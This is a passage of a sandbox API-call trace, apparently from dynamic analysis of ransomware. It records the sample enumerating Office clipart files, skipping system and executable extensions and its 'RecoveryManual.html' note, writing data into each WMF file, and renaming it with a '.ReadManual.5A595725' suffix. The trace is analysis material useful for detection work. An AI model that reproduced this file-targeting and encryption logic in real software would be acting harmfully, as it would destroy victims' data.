FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.461] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.461] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.463] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.464] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4dfa) returned 0x2f0000 [0269.464] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.464] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39013275357) returned 1 [0269.464] CloseHandle (hObject=0x184) returned 1 [0269.464] SetSecurityInfo () returned 0x57 [0269.464] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.464] CloseHandle (hObject=0x194) returned 1 [0269.464] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0304371.WMF", cAlternateFileName="")) returned 1 [0269.464] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0304371.WMF" | out: lpString1="J0304371.WMF") returned="J0304371.WMF" [0269.465] lstrcmpiW (lpString1="J0304371.WMF", lpString2="RecoveryManual.html") returned -1 [0269.465] StrStrIW (lpFirst="J0304371.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.465] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.465] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.465] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.465] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.465] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.465] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.465] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.465] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.465] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.465] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.465] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.465] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.465] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.465] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.465] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF" [0269.465] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF.ReadManual.5A595725" [0269.465] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF.ReadManual.5A595725") returned 87 [0269.465] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39013395524) returned 1 [0269.465] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf")) returned 0x20 [0269.465] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.466] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3616) returned 1 [0269.466] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe20, lpName=0x0) returned 0x184 [0269.466] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.467] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.467] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.468] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.469] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe20) returned 0x2f0000 [0269.469] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.469] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39013747911) returned 1 [0269.469] CloseHandle (hObject=0x184) returned 1 [0269.469] SetSecurityInfo () returned 0x57 [0269.469] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.469] CloseHandle (hObject=0x194) returned 1 [0269.469] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x103e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0304405.WMF", cAlternateFileName="")) returned 1 [0269.469] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0304405.WMF" | out: lpString1="J0304405.WMF") returned="J0304405.WMF" [0269.469] lstrcmpiW (lpString1="J0304405.WMF", lpString2="RecoveryManual.html") returned -1 [0269.469] StrStrIW (lpFirst="J0304405.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.469] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.469] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.469] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.469] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.469] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.469] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.469] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.469] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.469] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.469] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.469] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.470] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.470] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.470] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.470] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF" [0269.470] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF.ReadManual.5A595725" [0269.470] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF.ReadManual.5A595725") returned 87 [0269.470] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39013847766) returned 1 [0269.470] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf")) returned 0x20 [0269.470] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.470] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4158) returned 1 [0269.470] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x103e, lpName=0x0) returned 0x184 [0269.470] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.471] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.471] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.473] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.473] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x103e) returned 0x2f0000 [0269.474] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.474] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39014245149) returned 1 [0269.474] CloseHandle (hObject=0x184) returned 1 [0269.474] SetSecurityInfo () returned 0x57 [0269.474] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.474] CloseHandle (hObject=0x194) returned 1 [0269.474] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4a0e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0304853.WMF", cAlternateFileName="")) returned 1 [0269.474] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0304853.WMF" | out: lpString1="J0304853.WMF") returned="J0304853.WMF" [0269.474] lstrcmpiW (lpString1="J0304853.WMF", lpString2="RecoveryManual.html") returned -1 [0269.474] StrStrIW (lpFirst="J0304853.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.474] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.474] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.474] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.474] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.474] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.474] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.474] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.474] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.474] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.474] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.474] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.474] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.474] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.475] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.475] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF" [0269.475] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF.ReadManual.5A595725" [0269.475] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF.ReadManual.5A595725") returned 87 [0269.475] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39014340551) returned 1 [0269.475] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf")) returned 0x20 [0269.475] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.475] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=18958) returned 1 [0269.475] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a0e, lpName=0x0) returned 0x184 [0269.475] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.476] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.476] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.478] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.478] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4a0e) returned 0x2f0000 [0269.478] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.478] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39014717096) returned 1 [0269.478] CloseHandle (hObject=0x184) returned 1 [0269.479] SetSecurityInfo () returned 0x57 [0269.479] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.479] CloseHandle (hObject=0x194) returned 1 [0269.479] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2cf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0304861.WMF", cAlternateFileName="")) returned 1 [0269.479] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0304861.WMF" | out: lpString1="J0304861.WMF") returned="J0304861.WMF" [0269.479] lstrcmpiW (lpString1="J0304861.WMF", lpString2="RecoveryManual.html") returned -1 [0269.479] StrStrIW (lpFirst="J0304861.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.479] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.479] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.479] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.479] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.479] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.479] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.479] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.479] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.479] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.479] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.479] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.479] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.479] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.479] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.479] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF" [0269.479] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF.ReadManual.5A595725" [0269.479] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF.ReadManual.5A595725") returned 87 [0269.479] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39014815481) returned 1 [0269.479] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf")) returned 0x20 [0269.480] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.481] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11512) returned 1 [0269.481] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2cf8, lpName=0x0) returned 0x184 [0269.481] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.481] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.481] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.483] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.483] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2cf8) returned 0x2f0000 [0269.483] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.484] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39015229274) returned 1 [0269.484] CloseHandle (hObject=0x184) returned 1 [0269.484] SetSecurityInfo () returned 0x57 [0269.484] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.484] CloseHandle (hObject=0x194) returned 1 [0269.484] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4f8e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0304875.WMF", cAlternateFileName="")) returned 1 [0269.484] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0304875.WMF" | out: lpString1="J0304875.WMF") returned="J0304875.WMF" [0269.484] lstrcmpiW (lpString1="J0304875.WMF", lpString2="RecoveryManual.html") returned -1 [0269.484] StrStrIW (lpFirst="J0304875.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.484] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.484] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.484] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.484] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.484] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.484] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.484] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.484] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.484] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.484] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.484] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.484] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.484] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.484] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.484] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF" [0269.484] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF.ReadManual.5A595725" [0269.484] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF.ReadManual.5A595725") returned 87 [0269.484] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39015326738) returned 1 [0269.485] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf")) returned 0x20 [0269.485] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.486] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=20366) returned 1 [0269.486] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f8e, lpName=0x0) returned 0x184 [0269.486] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.487] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.487] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.491] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.491] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4f8e) returned 0x2f0000 [0269.491] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.491] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39016015277) returned 1 [0269.491] CloseHandle (hObject=0x184) returned 1 [0269.491] SetSecurityInfo () returned 0x57 [0269.492] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.492] CloseHandle (hObject=0x194) returned 1 [0269.492] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, 